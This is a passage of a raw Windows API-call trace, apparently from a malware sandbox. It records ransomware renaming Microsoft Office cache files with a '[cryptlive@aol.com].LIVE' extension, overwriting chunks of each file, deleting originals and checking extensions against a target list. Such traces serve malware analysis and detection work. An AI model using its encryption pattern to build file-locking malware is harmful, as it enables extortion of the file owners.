dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.107] GetLastError () returned 0x0 [0048.107] ReadFile (in: hFile=0x210, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0048.112] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0048.115] ReadFile (in: hFile=0x210, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.115] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0048.115] SetEndOfFile (hFile=0x214) returned 1 [0048.116] CloseHandle (hObject=0x214) returned 1 [0048.118] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.118] SetEndOfFile (hFile=0x210) returned 1 [0048.119] CloseHandle (hObject=0x210) returned 1 [0048.119] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0048.120] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0048.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.120] lstrlenW (lpString=".doc") returned 4 [0048.120] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.120] lstrlenW (lpString=".docx") returned 5 [0048.120] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.120] lstrlenW (lpString=".pdf") returned 4 [0048.120] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.120] lstrlenW (lpString=".xls") returned 4 [0048.120] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.120] lstrlenW (lpString=".xlsx") returned 5 [0048.120] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.120] lstrlenW (lpString=".ppt") returned 4 [0048.120] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.120] lstrlenW (lpString=".zip") returned 4 [0048.120] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.120] lstrlenW (lpString=".rar") returned 4 [0048.120] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.120] lstrlenW (lpString=".bz2") returned 4 [0048.120] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.120] lstrlenW (lpString=".7z") returned 3 [0048.120] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.121] lstrlenW (lpString=".dbf") returned 4 [0048.121] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.121] lstrlenW (lpString=".1cd") returned 4 [0048.121] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.121] lstrlenW (lpString=".jpg") returned 4 [0048.121] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.121] lstrlenW (lpString=".doc") returned 4 [0048.121] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.121] lstrlenW (lpString=".docx") returned 5 [0048.121] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.121] lstrlenW (lpString=".pdf") returned 4 [0048.121] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.121] lstrlenW (lpString=".xls") returned 4 [0048.121] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.121] lstrlenW (lpString=".xlsx") returned 5 [0048.121] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.121] lstrlenW (lpString=".ppt") returned 4 [0048.121] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.121] lstrlenW (lpString=".zip") returned 4 [0048.121] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.121] lstrlenW (lpString=".rar") returned 4 [0048.121] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.121] lstrlenW (lpString=".bz2") returned 4 [0048.121] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.121] lstrlenW (lpString=".7z") returned 3 [0048.121] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.121] lstrlenW (lpString=".dbf") returned 4 [0048.121] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.122] lstrlenW (lpString=".1cd") returned 4 [0048.122] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.122] lstrlenW (lpString=".jpg") returned 4 [0048.122] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.122] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0048.122] lstrlenW (lpString="osetup.dll") returned 10 [0048.122] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.122] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=7378792) returned 1 [0048.122] CloseHandle (hObject=0x210) returned 1 [0048.122] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0048.122] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.122] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0048.123] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.123] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.123] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.123] ReadFile (in: hFile=0x210, lpBuffer=0x34e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x34e0058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.468] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.468] ReadFile (in: hFile=0x210, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.472] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.472] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.472] ReadFile (in: hFile=0x210, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.498] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.498] WriteFile (in: hFile=0x210, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2b8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0048.806] SetEndOfFile (hFile=0x210) returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f50078 [0048.806] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.806] WriteFile (in: hFile=0x210, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.808] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.808] WriteFile (in: hFile=0x210, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.810] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.810] WriteFile (in: hFile=0x210, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.812] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f50078 | out: hHeap=0x520000) returned 1 [0048.812] CloseHandle (hObject=0x210) returned 1 [0050.944] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0050.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.945] lstrlenW (lpString=".doc") returned 4 [0050.945] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.945] lstrlenW (lpString=".docx") returned 5 [0050.945] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0050.945] lstrlenW (lpString=".pdf") returned 4 [0050.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.945] lstrlenW (lpString=".xls") returned 4 [0050.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.945] lstrlenW (lpString=".xlsx") returned 5 [0050.945] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0050.945] lstrlenW (lpString=".ppt") returned 4 [0050.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.945] lstrlenW (lpString=".zip") returned 4 [0050.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.945] lstrlenW (lpString=".rar") returned 4 [0050.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.945] lstrlenW (lpString=".bz2") returned 4 [0050.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.945] lstrlenW (lpString=".7z") returned 3 [0050.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.945] lstrlenW (lpString=".dbf") returned 4 [0050.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.945] lstrlenW (lpString=".1cd") returned 4 [0050.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.945] lstrlenW (lpString=".jpg") returned 4 [0050.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.946] lstrlenW (lpString=".doc") returned 4 [0050.946] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.946] lstrlenW (lpString=".docx") returned 5 [0050.946] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0050.946] lstrlenW (lpString=".pdf") returned 4 [0050.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.946] lstrlenW (lpString=".xls") returned 4 [0050.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.946] lstrlenW (lpString=".xlsx") returned 5 [0050.946] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0050.946] lstrlenW (lpString=".ppt") returned 4 [0050.946] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.946] lstrlenW (lpString=".zip") returned 4 [0050.946] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.946] lstrlenW (lpString=".rar") returned 4 [0050.946] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.946] lstrlenW (lpString=".bz2") returned 4 [0050.946] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.946] lstrlenW (lpString=".7z") returned 3 [0050.946] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.946] lstrlenW (lpString=".dbf") returned 4 [0050.946] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.946] lstrlenW (lpString=".1cd") returned 4 [0050.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.946] lstrlenW (lpString=".jpg") returned 4 [0050.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.946] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0050.946] lstrlenW (lpString="Office32WW.msi") returned 14 [0050.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.970] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1992192) returned 1 [0051.970] CloseHandle (hObject=0x188) returned 1 [0051.970] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0051.970] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.970] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0051.971] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.971] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.971] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.971] ReadFile (in: hFile=0x188, lpBuffer=0x34e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x34e0058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.977] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.977] ReadFile (in: hFile=0x188, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.980] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.980] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.980] ReadFile (in: hFile=0x188, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.005] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.005] WriteFile (in: hFile=0x188, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0052.138] SetEndOfFile (hFile=0x188) returned 1 [0052.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3fe7910 [0052.227] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.227] WriteFile (in: hFile=0x188, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.229] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.229] WriteFile (in: hFile=0x188, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.231] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.231] WriteFile (in: hFile=0x188, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3fe7910 | out: hHeap=0x520000) returned 1 [0052.234] CloseHandle (hObject=0x188) returned 1 [0052.234] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0052.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.234] lstrlenW (lpString=".doc") returned 4 [0052.234] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.234] lstrlenW (lpString=".docx") returned 5 [0052.234] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.234] lstrlenW (lpString=".pdf") returned 4 [0052.234] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.234] lstrlenW (lpString=".xls") returned 4 [0052.234] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.234] lstrlenW (lpString=".xlsx") returned 5 [0052.234] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.234] lstrlenW (lpString=".ppt") returned 4 [0052.234] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.234] lstrlenW (lpString=".zip") returned 4 [0052.234] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.235] lstrlenW (lpString=".rar") returned 4 [0052.235] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.235] lstrlenW (lpString=".bz2") returned 4 [0052.235] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.235] lstrlenW (lpString=".7z") returned 3 [0052.235] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.235] lstrlenW (lpString=".dbf") returned 4 [0052.235] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.235] lstrlenW (lpString=".1cd") returned 4 [0052.235] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.235] lstrlenW (lpString=".jpg") returned 4 [0052.235] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.235] lstrlenW (lpString=".doc") returned 4 [0052.235] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.235] lstrlenW (lpString=".docx") returned 5 [0052.235] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.235] lstrlenW (lpString=".pdf") returned 4 [0052.235] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.235] lstrlenW (lpString=".xls") returned 4 [0052.235] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.235] lstrlenW (lpString=".xlsx") returned 5 [0052.235] 